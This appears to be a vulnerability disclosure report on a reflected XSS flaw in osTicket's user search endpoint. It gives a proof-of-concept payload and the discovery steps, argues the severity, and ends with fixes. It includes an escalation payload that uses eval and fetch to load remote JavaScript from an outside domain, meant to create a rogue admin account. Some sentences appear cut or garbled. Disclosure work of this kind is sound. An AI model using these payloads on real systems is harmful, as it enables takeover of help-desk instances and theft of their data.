Reflected XSS in Username in osticket/osticket
Jul 2nd 2022
If a regular user's username is set to a XSS payload, and then that same XSS payload is placed in the
q (query) parameter of
/scp/ajax.php/users/local, then reflected XSS is achieved. This XSS can lead to complete takeover of the osTicket instance.
Proof of Concept
- Set a user's username to
<svg onload='alert(1)'>(such as in the agent panel).
- Go to
http://osticket.domain.com/scp/ajax.php/users/local?q=<svg%20onload=%27alert(1)%27>- you should see the alert pop up.
How I Discovered the Vulnerability
I was exploring osTicket and found that when creating a user, there was a search function! Wanting to probe it, I opened up the link to the search in a new tab (aka instead of inline like it's made to do, if you open up
http://osticket.domain.com/scp/ajax.php/users/local?q=your_query_here in another tab, it still works). The first thing I noticed was that the response was not of type
application/json, but rather as
text/html. I knew that if I could put a XSS payload in the results somewhere, I could point out a vulnerability.
The only fields returned were email, name, id number, and the search parameter
q. Results were only shown if the query matched a relevant field; that meant that simply putting a XSS in the
q parameter wouldn't work. I tried creating a new user and putting a XSS in the email or name fields, but it kept filtering it out each time (which I'm sure was intentional). I looked in the source code and noticed that /include/users.ajax.php not only searched in email and name, but also username, organization, and phone number. I logged in as an agent and changed the username for the test user to the XSS payload, stuck it in the query, and it worked!
So the username must be set to the XSS payload so when the XSS payload is also put in the query, it matches a user record and the XSS payload is reflected onto the page.
I was unsure how to rate the severity as first, so I did some extra exploitation and looking around to try to figure out the full extent of the vulnerability. First off, I could not figure out how anyone except an agent could set the username for a regular user. When signing in through the normal portal, the regular user can set email and name, but not username. Perhaps sending an email as a ticket will allow you to set your own username? Regardless, an agent without admin privileges could use this to XSS an administrator. Hence why privileges required are low - a non-admin agent isn't high since they don't have full reign over the application, but can still exploit the vulnerability. In addition, if there is some way for a user to set their username, then agent-status isn't even required.
I rated Confidentiality, Integrity, and Availability as high for all three since it's possible to create a XSS payload that, if trigged by an admin, will create a new agent on the osTicket instance with full admin rights and a known password. This would then allow the non-privileged agent to pivot to this new, privileged agent account and have full control of the osTicket instance. With full admin rights, they can fully violate confidentiality by reading all tickets, system logs, and enumerate all users. Integrity can be violated because ticket contents, system logs, passwords, and personal information can be modified in full by admins. Availability can be violated because the Admin Dashboard allows you to take the application offline.
fetch() statements to get the CSRF token and submit the form for creating a new admin. The problem that I then ran into was that the username field could only hold a maximum of 64 characters, which was too short for this payload. I tried using a
<script src="http://my.domain.com/payload.js"></script> payload to import the JS from an external source, but found that slashes
/ were escaped with a
\, and I couldn't close the
<script> tag. After working with it for a while, I found that you could use another
eval()function to run it. As long as you have a domain with 8 characters in it, this would work (exactly 64 characters):
<svg onload='eval(await fetch(`//adoma.in`).then(r=>r.text()))'>
First, I would suggest returning results from
text/html. This ensures that any HTML reflected is not run. Using
formatcharson line 110 of /include/ajax.users.php for
$_REQUEST['q'] would also be good.